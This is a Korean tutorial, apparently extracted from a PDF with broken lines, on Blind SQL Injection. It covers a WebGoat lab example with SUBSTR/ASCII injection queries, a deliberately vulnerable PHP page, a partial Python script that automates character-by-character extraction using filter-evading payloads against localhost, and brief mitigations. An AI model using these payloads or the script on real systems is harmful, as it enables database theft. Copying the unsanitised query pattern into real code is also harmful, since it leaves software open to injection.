Admin, password는 ‘ad1234’일 때, 쿼리 예시
<기본 테이블 셋팅>
Limit쿼리는 결과값에서 몇 개의 행을 보여줄지를 검색하는 연산이다. 위의 캡처에서 |
Number of Rows가 30으로 설정되어 있기 때문에 기본적으로 Limit 0, 30이 뒤에 붙어 나온 |
다. 이는 0번째 행부터 30번째 행까지 결과값을 출력한다.
Substr함수는 substr(“string”, 자르기 시작할 문자의 인덱스, 자를 문자의 개수)를 인수로 전 |
<Substr함수로 admin의 "a"를 추출>
Ascii함수는 리턴된 결과값을 ascii문자로 변환한다. < > = 부호화 함께 쓰여 결과값에 대한 |
범위를 한정하여 추측하며, brute force하는 방식으로 tables의 칼럼 정보는 획득 한다.
위와 같은 쿼리를 입력 필드나 URI를 통해 인젝션 하여 가져온 결과 값(아스키코드 또는 서 |
버의 반응)을 조합하여 임의의 숫자와 비교(<, >, =)해가며 그 아스키 코드를 알아내어 문자 |
로 반환하고, 각 글자들을 조합하여 원하는 데이터를 알아내는 방식을 Blind SQL Injection이 |
1.4 Blind SQL Injection 공격예시(WebGoat) |
- user_data테이블에서 userid 15613을 갖는 레코드의 first_name을 찾는 문제
|
- true와 false에 대한 서버의 반응
|
-> 존재하는 userid(true) 입력 시 “Account number is valid” |
-> 임의의 값(false) 입력 시 “Invalid account number”
|
- Substr, ASCII 쿼리 조합으로 Blind SQL Injection 시도 |
-> 15632 and ascii(substr((select first_name from user_data where userid=15613),1,1)) < |
91, user_data의 userid 15613의 first_name의 첫 문자는 아스키코드 91(대, 소문자 구별) |
-> 이 쿼리에 대해 Account number is valid(true)를 리턴 받았기 때문에 첫 글자는 대문자 |
- 계속해서 범위를 대입하여 아스키코드 추출
-> 범위를 좁혀 가며 대입 시 아스키코드 74로 확인, userid 15631의 firtst_name 첫 글자는
‘J’ |
-> 계속해서 위와 같은 쿼리로 'Joesph' 라는 first_name 확인 가능
2. 공격 테스트(Blind SQL Injection Tool) |
$database = 'injection_db'; |
$db = mysql_connect($host, $dbuser, $dbpass); |
mysql_select_db($database,$db); |
$sql = mysql_query("select * from `users` where num=".$n) or die (mysql_error()); |
$info = @mysql_fetch_row($sql); |
echo "<body bgcolor=#000000>"; |
echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>"; |
echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>"; |
def put_data(true_url, true_result, field, index, length): |
for i in range(1, length+1): |
for j in range(32, 127): // 아스키 코드 범위 지정 |
(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from |
%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % |
( j,field,index,i,i) // Blind SQL Injection 쿼리(True) |
attack_open = urllib.urlopen(attack_url) |
attack_result = attack_open.read() |
if attack_result==true_result: |
def get_length(false_url, false_result, field, index): |
data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s) |
%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" |
// Blind SQL Injection 쿼리(False) |
data_length_open = urllib.urlopen(data_length_url) |
data_length_result = data_length_open.read() |
if data_length_result==false_result: |
url = http://127.0.0.1/info.php // 공격 URL 지정 |
true_url = url + "?num=1" |
true_open = urllib.urlopen(true_url) |
true_result = true_open.read() |
false_url = url + "?num=0" |
false_open = urllib.urlopen(false_url) |
false_result = false_open.read() |
print "num\t\tid\t\tpassword" |
fields = "num", "id", "password" |
length = get_length(false_url, false_result, fields[ j], i) |
length = put_data(false_url, true_result, fields[ j], i, length) |
- 응용프로그램의 에러정보를 노출하지 않는다(HTTP 에러코드의 경우 400, 403, 500등은 노출 하지 않고, |
- 입력 필드나 URL의 파라미터를 처리할 때 입력 값을 필터링 한다(특수문자, SQL 구문) |
- IDS의 탐지정책 설정(기존의 정책으로 한계가 있을 수 있음, 빈번한 오탐의 이슈 고려) |
http://www.exploit-db.com/papers/18263/ |
http://ha.xxor.se/2011/06 |
The Basic Blind SQL Injection(by Sur3x5F – PRIDE) | |
|